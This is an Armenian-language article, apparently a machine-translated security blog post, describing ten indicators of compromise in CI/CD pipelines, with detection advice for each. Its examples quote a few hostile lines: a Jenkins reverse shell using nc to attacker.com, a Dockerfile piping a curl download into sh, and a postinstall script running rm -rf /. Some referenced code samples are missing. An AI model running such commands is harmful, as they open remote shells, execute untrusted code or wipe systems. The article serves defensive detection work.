Ներածություն. Որո՞նք են կիբերանվտանգության մեջ փոխզիջման ցուցիչները։
Կոտրվածքի ցուցիչները առաջին նախազգուշացնող նշաններն են, որ ձեր համակարգը կամ pipeline կարող է հարձակման ենթարկվել։ Պարզ ասած՝ փոխզիջման ցուցանիշներ հարձակվողների թողած հետքեր են, ինչպես տարօրինակ loginներ, ֆայլերի փոփոխություններ կամ թաքնված վնասակար ծրագրեր։ Մեջ ՄՕԿ-ի կիբերանվտանգություն, դրանք գործում են ինչպես մատնահետքերը հանցագործության վայրում՝ տալով ձեզ հստակ ապացույց, որ ինչ-որ բան այն չէ։ Հետևաբար, երբ մշակողները հարցնում են Որո՞նք են փոխզիջման նշանները, պատասխանը չի սահմանափակվում միայն սերվերներով կամ firewall-ներով, այն նաև ներառում է ժամանակակից աշխարհում թաքնված ռիսկեր CI/CD pipelines.
Դրանցում pipelineներ, հարձակվողները կարող են կեղծել կոդը, ներարկել վնասակար կախվածություններ կամ փոխել կառուցման քայլերը՝ առանց նկատվելու: Այնուամենայնիվ, ուղեցույցների մեծ մասը դեռևս կենտրոնանում է միայն սերվերների կամ ցանցերի վրա: Արդյունքում, ծրագրային ապահովման մատակարարման շղթան դարձել է ամենահեշտ թիրախներից մեկը:
Ահա թե ինչու փոխզիջման նշաններ գտնելը CI/CD pipelines-ը կարևոր է։ Ամենից առաջ այն օգնում է թիմերին արգելափակել վնասակար ծրագրերը, պաշտպանել գաղտնիքները և ապահովել ծրագրային ապահովման մատակարարման յուրաքանչյուր քայլը։
Փոխզիջման 10 լավագույն ցուցանիշները CI/CD Pipelines
Կոտրման ցուցանիշները բացատրելիս, ցուցակների մեծ մասը կենտրոնանում է սերվերների կամ ցանցերի վրա։ Այնուամենայնիվ, CI/CD pipelineներ, հարձակվողները թողնում են շատ տարբեր մատնահետքեր: Այս ազդանշանների ճանաչումը կարևոր է նախաձեռնողական պաշտպանության համար: Ստորև ներկայացված են ՄՕԿ-ի կիբերանվտանգության 10 կարմիր դրոշներ, որոնց պետք է ուշադրություն դարձնի յուրաքանչյուր մշակող և անվտանգության ինժեներ:
1. Կասկածելի կախվածության փոփոխություններ
Փոխզիջման հիմնական ցուցանիշներից մեկը pipelines-ը հանկարծակի, տարօրինակ կախվածության թարմացում է: Հարձակվողները հաճախ օգտագործում են մշակողների կողմից փաթեթների կառավարիչներին տրված վստահության մակարդակը՝ վտանգավոր փաթեթներ ավելացնելու համար:
Օրինակ, npm-ում a package.json տարբերությունը կարող է հանկարծակի ներառել.
Նման փոփոխությունները կարող են անվտանգ թվալ, բայց կարող են տրոյականացված կոդ ներարկել յուրաքանչյուր կառուցվածքի մեջ։
Ազդեցություն: Կոտրված կառուցվածքները ժառանգում են վնասակար ծրագրերը սկզբնաղբյուրում։
Հայտնաբերում: կիրառել կախվածությունների վերանայումներ, հետևել ֆայլերի կողպման տարբերություններին և անընդհատ սկանավորել նոր փաթեթները։
2. Կառուցումներում խճճված կոդ
Վնասակար ծրագրերի հեղինակները ապավինում են խեղաթյուրմանը՝ ակնարկները շրջանցելու համար: Արդյունքում, այս խախտման ցուցանիշը CI/CD pipelines-ը կարող է լինել ամենադժվար բռնվողներից մեկը։ Իրականում, խճճված բեռները հաճախ առանց նախազգուշացման հայտնվում են բաց կոդով գրադարաններում կամ կոնտեյներային պատկերներում։
Օրինակ `
- PyPI փաթեթ, որն օգտագործում է
base64.b64decode("cHJpbnQoSGFja2VkKQ=="). - Docker-ի պատկեր, որը լի է ոչ անհրաժեշտ UPX երկուական ֆայլերով։
- JavaScript-ը լի է
\x41\x42փախչում է թաքնված վկայական գողացողներից։
Ազդեցություն: Թաքնված կոդը կատարվում է անաղմուկ կառուցման կամ գործարկման ընթացքում, ինչը սա դարձնում է կարևոր ազդանշան IOC կիբերանվտանգության մեջ։
Հայտնաբերում: Միավորել SAST վնասակար ծրագրերի սկանավորմամբ՝ կոդավորված կամ փաթեթավորված կոդը նշելու համար: Ամենից առաջ, խեղաթյուրումը համարեք կարմիր դրոշ, որը արժանի է հետագա ուսումնասիրության:
3. Git-ում բացահայտված գաղտնիքները. IOC-ի դասական կիբերանվտանգության ռիսկ
CI/CD pipelineհաճախ գաղտնիքները ժառանգում են անմիջապես պահոցներից։ Սակայն, երբ գաղտնիքները հայտնվում են Git-ում, դրանք դառնում են «որոնք են փոխզիջման ցուցանիշները» հարցի ամենահստակ պատասխաններից մեկը։ pipelines?» Երբ մուտքի տվյալները հայտնվում են Git-ում, հարձակվողները կարող են անորոշ ժամանակով շահագործել դրանք։
Օրինակ `
- A
.envպարունակող ֆայլAWS_SECRET_KEY=. - Թոքենները ներդրվել են
config.json. - Գաղտնիքները դեռևս տեսանելի են Git-ի պատմության մեջ նույնիսկ հեռացումից հետո։
Ազդեցություն: Բացահայտված բանալիները հարձակվողներին անմիջական հասանելիություն են տալիս CI/CD pipelineներ, ամպային համակարգեր կամ տվյալների բազաներ: Հետևաբար, սա խախտման ամենավտանգավոր ցուցանիշներից մեկն է:
Հայտնաբերում: օգտագործում pre-commit hooks և CI աշխատանքներ գաղտնի սկանավորման համար և անմիջապես չեղարկել արտահոսած բանալիները: Բացի այդ, կիրառել ավտոմատացված վերականգնում՝ ազդեցության պատուհանները նվազեցնելու համար:
4. Կեղծված Pipeline Կարգավորումներ. թաքնված խախտման ցուցիչներ
Pipeline կոնֆիգուրացիաները բարձր արժեք ունեցող թիրախներ են, քանի որ մեկ փոփոխությունը հաճախ խաթարում է ամբողջ աշխատանքային հոսքըՀետևաբար, կեղծված pipeline ֆայլերը ՄՕԿ-ի կիբերանվտանգության հիմնական ռիսկ են, որոնք ավանդական մոնիթորինգի գործիքները հազվադեպ են հայտնաբերում։
Օրինակ `
GitHub-ում գործողությունները՝
- GitLab-ում. ավելացվել է վնասակար աշխատանք
.gitlab-ci.ymlորը գաղտնի տվյալներ է արտանետում։ - Ջենկինսում.
sh "nc -e /bin/bash attacker.com 4444".
Ազդեցություն: Այս չհաստատված փոփոխությունները կփոխեն ձեր pipeline վերածվելով հարձակվողների համար մշտական հետին դռան, ինչը հստակորեն համարվում է խախտման ցուցիչ։
Հայտնաբերում: Կիրառել ստորագրված կարգավորումները, պահանջել PR հաստատումներ և վերահսկել անսպասելի աշխատանքները: Բացի այդ, սահմանել guardrails որոնք ավտոմատ կերպով արգելափակում են փոփոխված աշխատանքային հոսքերը։
5. Արտոնյալ IaC Լռելյայն
Սխալ կարգավորված ենթակառուցվածքների սահմանումները հաճախ ստեղծում են թաքնված հետին դռներ։ Արդյունքում, արտոնյալ լռելյայն կարգավորումները IaC ՄՕԿ-ի կիբերանվտանգության դասական ռիսկ են։
Օրինակ `
- Kubernetes տեղակայումը տրամադրում է պոդեր
privileged: true. - Helm-ի գծապատկերները բացահայտում են ծառայությունները
0.0.0.0:22.
Ազդեցություն: Հարձակվողները ստանում են root մակարդակի մուտք կամ հրապարակայնորեն բացահայտում են ներքին ծառայությունները։ Հետևաբար, այս խնդիրները զգալիորեն ընդլայնում են հարձակման մակերեսը։
Հայտնաբերում: Դիմել IaC սկանավորում՝ միավորումից առաջ նվազագույն արտոնությունը կիրառելու համար: Բացի այդ, համոզվեք, որ յուրաքանչյուր կոնֆիգուրացիա վերանայվում է որպես դրա մի մաս: pipeline.
6. Անսովոր կառուցվածքային վարքագծեր
Հարձակվողները հաճախ փոխում են pipeline վարքագիծ՝ չարամիտ գործողությունների մեջ սայթաքելու համար: Այլ կերպ ասած, անսովոր կառուցման գործունեությունը ամենահստակ պատասխաններից մեկն է այն հարցին, թե որոնք են խախտման ցուցանիշները CI/CD pipelines.
Օրինակ `
- Կառուցում է արտագնա ցանցային հարցումներ անծանոթ տիրույթներին։
- Node.js նախագիծը հանկարծակի PowerShell-ի առաջացման ընթացքում
npm install. - CI աշխատանք, որը ներբեռնում է մեծ բինար ֆայլեր, որոնք սահմանված չեն կառուցման սկրիպտներում։
Ազդեցություն: Կոտրված կառուցվածքները կարող են հանդես գալ որպես վնասակար ծրագրերի տարածման կետեր։ Առաջին հերթին, դրանք վնասակար բեռներ են տարածում յուրաքանչյուր տեղակայման մեջ։
Հայտնաբերում: Հետևեք կառուցման գրանցամատյաններին՝ անսպասելի գործընթացների կամ կապերի հայտնաբերման համար: Ավելին, կարգավորեք անոմալիաների հայտնաբերումը՝ նորմայից դուրս վարքագծերը նշելու համար:
7. Վնասակար փաթեթների սկրիպտները որպես IOC կիբերանվտանգության ռիսկեր
Փաթեթների կառավարիչները աջակցում են կյանքի ցիկլին hooks որոնք հարձակվողները շահագործում են։ Հետևաբար, npm-ում, PyPI-ում կամ Dockerfiles-ում առկա վնասակար սկրիպտները հաքերային հարձակման հստակ ցուցիչներ են։
Օրինակ `
- npm:
postinstallսկրիպտը աշխատում էrm -rf /կամ ազդանշան է տալիս C2-ին։ - PyPI:
setup.pyՏեղադրման ժամանակ թաքնված Python կոդի կատարում։ - Dockerfile:
RUN curl attacker.sh | sh.
Ազդեցություն: Հարձակումը կատարվում է տեղադրման ընթացքում՝ ցանկացած գործարկման թեստավորումից առաջ։ Հետևաբար, մշակողները կարող են չնկատել, մինչև որ շատ ուշ չլինի։
Հայտնաբերում: Սկանավորեք փաթեթի մանիֆեստները տեղադրման սկրիպտների համար: Բացի այդ, սահմանափակեք ռիսկայինները hooks in CI/CD աշխատատեղեր՝ ազդեցության նվազեցման համար։
8. Գրանցամատյանի թունավորման ցուցիչներ, որոնք վկայում են վնասի մասին
Հարձակվողները փոխարինում կամ փոփոխում են գրանցամատյաններում առկա արտեֆակտները, և այս իրադարձությունները դասական օրինակներ են այն բանի, թե որոնք են մատակարարման շղթայում խախտման ցուցիչները։ pipelines.
Օրինակ `
- Docker-ի պատկերի թեգը աննկատ թարմացվել է տրոյականացված շերտով։
- Ներքին փաթեթը փոխարինվել է թունավորված տարբերակով։
- npm անվանատարածքի զավթում, օրինակ՝
lodash-proxy.
Ազդեցություն: Գրանցամատյանի արտեֆակտն օգտագործող յուրաքանչյուր կառուցվածք վտանգվում է։ Ավելին, վտանգը տարածվում է նաև ներքևի հոսանքի ծառայություններում։
Հայտնաբերում: Կիրառել ստորագրության և ամբողջականության ստուգումներ բոլոր գրանցամատյանի արդյունահանումների վրա: Բացի այդ, հետևել արտեֆակտների ծագմանը SBOM վավերացում։
9. Աննորմալ օգտատիրոջ ակտիվությունը որպես IOC ապացույց
Կոտրված հաշիվները գրեթե միշտ անսովոր հետքեր են թողնում։ Համապատասխանաբար, մշակողի անսովոր վարքագիծը վարկաբեկման ուժեղ ցուցիչ է։
Օրինակ `
- Commits-ը մղվել է տեղական ժամանակով ժամը 3-ին։
- Արձակուրդում գտնվող հաշիվների կողմից հասարակայնության հետ կապերի հաստատումները։
- Pipelines-ը ակտիվանում է անսովոր հաճախականությամբ։
Ազդեցություն: Հարձակվողները չարաշահում են գողացված մուտքային տվյալները՝ չարամիտ փոփոխություններ տեղադրելու համար: Ի վերջո, չարտոնված commitհեշտությամբ ինտեգրվում են սովորական աշխատանքային հոսքերի հետ։
Հայտնաբերում: Մոնիտոր SCM անոմալիաների հայտնաբերման ակտիվություն, MFA-ի կիրառում և տոկենների պարբերաբար փոխարինում: Բացի այդ, զգուշացրեք կասկածելի դեպքերի մասին commit կամ հաստատման ձևերը։
10. IOC կիբերանվտանգության մեջ ամբողջականության կամ ստորագրության ստուգման ձախողումներ
Տարածված, բայց անտեսված փոխզիջման ցուցիչ ամբողջականության կամ ստորագրության ստուգումը ձախողված է: IOC կիբերանվտանգության մեջ այս ստուգումները հաստատում են, որ կոդը կամ արտեֆակտները իսկական են: Դրանք բաց թողնելը թողնում է pipelines-ը բացահայտված է։
Օրինակներ
- SHA256 հեշը չի համապատասխանում սպասվող ստուգիչ գումարին։
- GPG ստորագրությունը բացակայում է կամ անվավեր է։
- An SBOM ցուցադրելով չստորագրված արտեֆակտներ։
Ազդեցություն: Ամբողջականության խափանումները հաճախ նշանակում են կեղծում, գրանցամատյանի թունավորում կամ վնասակար ծրագրերի ներարկում։
Հայտնաբերում: Ավտոմատացրեք ստորագրությունների ստուգումները, կիրառեք ստուգիչ գումարի վավերացումը և արգելափակեք չստորագրված բաղադրիչները: Ամենից առաջ, յուրաքանչյուր ձախողված ստուգում համարեք խախտման հստակ ապացույց:
CI/CD Փոխզիջման ցուցանիշները մի հայացքով
| Փոխզիջման ցուցիչ (ՄԿՑ) | Ազդեցությունը CI/CD Pipelines | Ինչպես հայտնաբերել |
|---|---|---|
| Կասկածելի կախվածության փոփոխություններ | Հարձակվողները վնասակար գրադարաններ են ներարկում փաթեթների կառավարիչների մեջ, ինչը հանգեցնում է վնասված կառուցվածքների։ | Հետևեք կողպված ֆայլերի տարբերություններին, կիրառեք կախվածությունների վերանայումներ և անընդհատ սկանավորեք կախվածությունները։ |
| Կառուցումներում խճճված կոդ | Թաքնված բեռները կատարվում են կառուցման կամ կատարման ընթացքում՝ առանց հայտնաբերման։ | օգտագործում SAST և վնասակար ծրագրերի սկանավորում՝ base64, hex կամ packed code shablons նշելու համար։ |
| Գաղտնիքները բացահայտվում են Git-ում | Արտահոսած տոկենները կամ API բանալիները հարձակվողներին անմիջական մուտք են տալիս կարևորագույն համակարգերին։ | Գործարկեք գաղտնի սկանավորումներ Git-ում hooks և ավտոմատ կերպով չեղարկել արտահոսած հավատարմագրերը։ |
| Կեղծված Pipeline configurations | Փոփոխված աշխատանքային հոսքերը թույլ են տալիս տվյալների արտահոսք կամ ներսում պահպանում CI/CD. | Պահանջել PR հաստատումներ, կիրառել ստորագրված կարգավորումները և վերահսկել pipeline փոփոխություններ: |
| Արտոնյալ IaC Լռելյայն | Չափազանց թույլատրելի դերերը կամ անապահով լռելյայն կարգավորումները բացահայտում են ամպային միջավայրերը։ | Սկանավորեք Terraform, Kubernetes և Helm ֆայլերը՝ նվազագույն արտոնությունների կիրառման համար։ |
| Անսովոր կառուցվածքային վարքագծեր | Pipelines-ը օգտագործվում են որպես վնասակար ծրագրերի տարածման կետեր կամ կողմնային շարժման համար։ | Վերլուծեք կառուցման գրանցամատյանները՝ անսպասելի ներբեռնումների, գործընթացների կամ ելքային զանգերի համար։ |
| Վնասակար փաթեթների սկրիպտներ | Թաքնված նախնական/հետին տեղադրումից առաջ թաքնված սկրիպտները ակտիվացնում են օգտակար բեռները՝ նախքան գործարկման ժամանակի թեստավորումը։ | Արգելափակել ռիսկային npm/PyPI սկրիպտները և սահմանափակել դրանց կատարումը։ CI/CD աշխատատեղեր: |
| Գրանցամատյանի թունավորում | Տրոյանացված արտեֆակտները փոխարինում են ռեգիստրներում վստահելի պատկերներին կամ երկուական ֆայլերին։ | Ստուգեք ստուգիչ գումարները, կիրառեք ստորագրության վավերացումը և կանխարգելիչ կերպով սկանավորեք գրանցամատյանները։ |
| Աննորմալ օգտատիրոջ գործունեություն | Կոտրված հաշիվները վնասակար ծրագրեր են տարածում commits կամ ձգան pipelines. | Կիրառել MFA-ն, վերահսկել commitանոմալիաների համար և վերլուծել login օրինակները: |
| Անհաջող ամբողջականության կամ ստորագրության ստուգումներ | Նշում է մուտք գործող կեղծված կոդ, կախվածություններ կամ պատկերներ pipeline. | Ավտոմատացրեք ամբողջականության ստուգումները և արգելափակեք չստորագրված կամ անհամապատասխան բաղադրիչները։ |
Ինչու է ՄՕԿ-ի ավանդական կիբերանվտանգությունը բաց թողնվում CI/CD Ռիսկերի
Կազմակերպությունների մեծ մասն արդեն իսկ վերահսկում է սերվերների, համակարգիչների կամ ցանցերի վրա խոցելիության ցուցանիշները: Այնուամենայնիվ, IOC կիբերանվտանգության այս դասական մոտեցումը անտեսում է CI/CD pipelines, որոնք այժմ ամենակարևոր հարձակման մակերեսներից մեկն են։ Իրականում, pipelines-ը ցույց են տալիս եզակի վտանգի ազդանշաններ, որոնք ավանդական գործիքները չեն կարող հայտնաբերել։
Ավանդական անվտանգության մեջ փոխզիջման ցուցիչներ
ՄՕԿ-ի ավանդական կիբերանվտանգության մեջ ուշադրությունը սովորաբար կենտրոնանում է հետևյալի վրա՝
- անսովոր logins կամ IP հասցեներ, որոնք ենթադրում են գողացված մուտքային տվյալներ։
- Կասկածելի ֆայլերի հեշեր կամ գրանցամատյանի փոփոխություններ, որոնք բացահայտում են վնասակար ծրագիր։
- Անսպասելի արտագնա երթևեկություն, որը մատնանշում է տվյալների արտահոսք։
Սրանք հայտնի ցուցանիշներ են, որոնք նաև հետևվում են MITER ATT&CK շրջանակ, որը քարտեզագրում է հակառակորդի տարածված վարքագիծն ու մարտավարությունը: Սրանք օգտակար ազդանշաններ են: Այնուամենայնիվ, դրանք հիմնականում վերաբերում են օպերացիոն համակարգերին կամ կորպորատիվ ցանցերին: Արդյունքում, դրանք բաց են թողնում ծրագրային ապահովման մատակարարման շղթայի ավելի վաղ փուլում տեղի ունեցող նուրբ կեղծումները:
Ինչու CI/CD Pipelines-ը տարբեր են
CI/CD pipelines-ը ավտոմատացված միջավայրեր են, որտեղ մշակողները commit կոդ, քաշել կախվածություններ և թողարկման կառուցվածքներ: Հարձակվողները գիտեն, որ մեկ խախտման դեպքում այստեղ կասկադային ազդեցություն է ունենում յուրաքանչյուր տեղակայման վրա: Հետևաբար, որո՞նք են խախտման ցուցանիշները CI/CD pipelineս? Նրանք շատ տարբեր տեսք ունեն։
- package.json-ին կամ requirements.txt-ին աննկատ ավելացված չարամիտ կախվածություն։
- Git-ում բացված API բանալիներ կամ տոկեններ commits կամ .env ֆայլերը։
- npm կամ PyPI փաթեթների մեջ ներարկված մշուշոտ կոդ։
- Terraform կամ Kubernetes ֆայլեր՝ անապահով լռելյայն արժեքներով, ինչպիսիք են privilege: true-ն։
- Pipeline Աշխատանքները խմբագրվել են տվյալներ արտանետելու կամ «հետին դռներ» բացելու համար։
Այս փոխզիջման ազդանշանները CI/CD անտեսանելի մնալ standard անվտանգության գործիքներ։
ՄՕԿ-ի կիբերանվտանգության բացը
Չնայած շատ թիմեր հասկանում են խախտման ցուցիչների արժեքը, նրանք դեռևս հույսը դնում են միայն սերվերների և ցանցային գրանցամատյանների հայտնաբերման վրա: Հետևաբար, հարձակվողները կարող են թունավորել կառուցվածքները կամ տեղադրել վնասակար ծրագրեր՝ առանց սովորական հետքեր թողնելու: Ահա թե ինչու XZ Utils-ի հետևի դռան կամ վնասակար npm փաթեթների նման միջադեպերը չեն հայտնաբերվել մինչև արտադրության հասնելը:
Այս տեսակի մատակարարման շղթայի խախտումները նույնպես ընդգծվում են՝ CISA-ի մատակարարման շղթայի անվտանգության ուղեցույց, որը զգուշացնում է, որ հարձակվողները ավելի ու ավելի հաճախ են թիրախավորում CI/CD pipelineև գրանցամատյաններ։
The Takeaway
ՄՕԿ-ի ավանդական կիբերանվտանգությունը անհրաժեշտ է, բայց բավարար չէ։ Ամենից առաջ թիմերը պետք է ճանաչեն վտանգի ենթարկման նշանները, որոնք հատուկ են... CI/CD pipelineմիայն այդ դեպքում նրանք կարող են հայտնաբերել վնասակար կոդ կամ pipeline չարաշահումը, նախքան այն տարածվի շրջակա միջավայրում։





